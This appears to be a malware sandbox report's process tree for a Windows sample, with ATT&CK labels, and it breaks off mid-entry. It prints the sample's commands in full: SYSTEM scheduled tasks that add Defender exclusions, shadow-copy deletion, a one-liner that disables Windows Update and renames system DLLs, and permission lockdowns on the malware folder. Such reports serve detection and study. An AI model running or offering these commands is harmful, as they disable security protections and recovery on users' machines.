The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_h8.0.04.exe
"C:\Users\Admin\AppData\Local\Temp\install_h8.0.04.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:5088

C:\Users\Public\NEIINj\VB7qfM.exe
C:\Users\Public\NEIINj\VB7qfM.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NEIINj\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NEIINj\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4148
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4072
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2388
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1540
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1732
- C:\Program Files (x86)\jnxr6q\jnxr6q.exe
  "C:\Program Files (x86)\jnxr6q\jnxr6q.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3360
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:692
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:976
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\jnxr6q\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\jnxr6q\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4728
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3404
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3512
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2620
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2520
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:2884
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2016
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4368
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:4696
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5072
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:2012
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4900
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3016
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4640
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3500
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3140
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4148
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2724
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4284
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1788
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:212
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3080
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1528
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2472
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3952
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2400
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2164
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2000
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:888
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3616
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1104
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\jnxr6q.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\jnxr6q.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\jnxr6q.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\jnxr6q.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\jnxr6q.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\jnxr6q.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1060
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2980
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2244
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4612
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4524
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3000
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:180
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jnxr6q\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jnxr6q\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:456
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1792
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4716
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4672
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4624
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1088
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4324
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1052
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2292
- - C:\Windows\SysWOW64\cmd.exe
